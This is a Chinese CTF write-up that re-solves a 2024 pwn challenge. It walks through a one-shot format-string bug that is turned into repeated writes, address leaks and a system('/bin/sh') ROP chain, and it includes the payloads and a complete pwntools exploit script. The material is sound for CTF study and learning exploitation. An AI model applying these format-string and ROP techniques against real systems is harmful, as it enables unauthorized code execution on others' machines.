2024吾杯CTF
题目挺难的,比赛的时候有事没怎么打,也没做出来,这里复现一下。
参考自大佬博客:[吾杯 2024] pwn (Yang,如果能重来)-CSDN博客
Yang
比赛时没看,有时间再复现吧。。。
如果能重来
格式化字符串漏洞的利用,个人感觉应该是格式化里边的困难程度了。
首先checksec看一下,保护全开,没法修改got且存在pie,并且没有后门函数。
main函数是先调用了sub_12f6
后调用了sub_13d7
,两函数如下:


13d7中只存在一次格式化字符串漏洞,虽然是栈上的,但是只有一次利用(dword_404C
初始值为1)几乎且无后门函数,并且开启了pie,got表不可改,感觉所有的都给禁用了,比赛时候就卡住了,虽然根据提示猜测sub_12f6
可能有什么东西,但是看了半天汇编也没看出来,这里复现一下佬的思路。
sub_12f6
函数调用后,在栈上残留了一个栈地址,栈内存如下:

因为只有一次格式化字符串利用,所以第一步肯定是劫持返回地址使得能够重复利用。因此我们可以输入到该位置修改后两位使其指向返回地址处,然后修改返回地址为start(因为start会重新将dword_404C
赋值成1)
所以第一次payload构造如下:
1
| payload = f"%16$p%25$p%{0x50e0-14*2}c%11$hn".encode().ljust(24,b'A')+b'\x58'
|
即修改残留指针为返回地址,其中0x50e0是start的地址(这里的\x58
打远程时候需要爆破,因为我本地为了方便复现关闭了ALSR),同时可以泄露出栈地址和elf地址,因为长度不够了,所以libc暂时泄露不了。
printf后栈内存如下:

之后,程序回到start然后重新走到这,我们再构造一次用来泄露libc地址,同时修改返回地址以便再次利用,并且修改dword_404C
成一个大数,这里为什么要修改dword_404C
呢,因为我们要往返回地址写rop链,所以在后续利用时不能再往start里返回了(因为start会清栈),需要修改该该变量后让他跳回到sub_13D7
本身,从而实现多次写rop链。
所以第二次payload构造如下:
1 2
| stack = ret_addr - 0x130 //这里的stack是前边泄露出的返回地址-0x130,因为call start会抬栈0x130 payload = f"%{0xb2}c%12$hhn%13$hhn,%27$p".encode().ljust(32,b'\0')+flat(stack,pro_base+0x404c+1)
|
其中,0xb2是进入sub_13D7
函数的地址,本来返回地址是0xb7,如图所示:

这样,我们就泄露了libc地址并且可以多次使用dword_404C
了。接下来就是往返回地址 + 8处写rop链,为什么要加8呢,因为需要写三个,即pop_rdi,binsh,system
,所以直接写返回地址会错误。
第三次payload构造如下:
1 2 3 4 5 6 7
| def write(i,v): sla(b"name: ", f"%{0xb2}c%12$hhn%{v-0xb2}c%13$n".encode().ljust(32,b'\0')+flat(stack,stack+8+i))
for i,v in enumerate([pop_rdi, binsh, system]): write(i*8, v&0xffff) write(i*8+2, (v>>16)&0xffff) write(i*8+4, (v>>32)&0xffff)
|
修改完成后栈内存如下:

之后,在进行最后一次利用,把返回地址改成ret
即可,程序返回时就会滑到ret+8处执行rop链了。
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
| from pwn import * from ctypes import * from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
def s(a): p.send(a) def sa(a, b): p.sendafter(a, b) def sl(a): p.sendline(a) def sla(a, b): p.sendlineafter(a, b) def r(a): return p.recv(a) def ru(a): return p.recvuntil(a) def debug(): gdb.attach(p) pause() def get_addr(): return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) def get_sb(libcbase): return libcbase + libc.sym['system'], libcbase + next(libc.search(b'/bin/sh\x00'))
p = process('./fmt') elf = ELF('./fmt') libc = ELF('./libc-2.31.so')
payload = f"%16$p%25$p%{0x50e0-14*2}c%11$hn".encode().ljust(24,b'A')+b'\x58' sla("name: ",payload)
ru('0x') ret_addr = int(p.recv(12),16) - 0x38 success("ret_addr: " + hex(ret_addr))
ru('0x') pro_base = int(p.recv(12),16) - 0x14a9 success("pro_base: " + hex(pro_base))
sleep(1)
stack = ret_addr - 0x130 payload = f"%{0xb2}c%12$hhn%13$hhn,%27$p".encode().ljust(32,b'\0')+flat(stack,pro_base+0x404c+1) sla("name: ",payload)
ru('0x') libc_base = int(p.recv(12),16) - 0x24083 system = libc_base + libc.sym['system'] pop_rdi = pro_base + 0x1513 binsh = libc_base + next(libc.search(b'/bin/sh\x00')) one_gadget = libc_base + 0xe3b04 success("libc_base: " + hex(libc_base))
def write(i,v): sla(b"name: ", f"%{0xb2}c%12$hhn%{v-0xb2}c%13$n".encode().ljust(32,b'\0')+flat(stack,stack+8+i))
for i,v in enumerate([pop_rdi, binsh, system]): write(i*8, v&0xffff) write(i*8+2, (v>>16)&0xffff) write(i*8+4, (v>>32)&0xffff)
sla(b"name: ", f"%{0xd6}c%12$hhn".encode().ljust(32,b'\0')+flat(stack)) //0xd6是ret地址
p.interactive()
|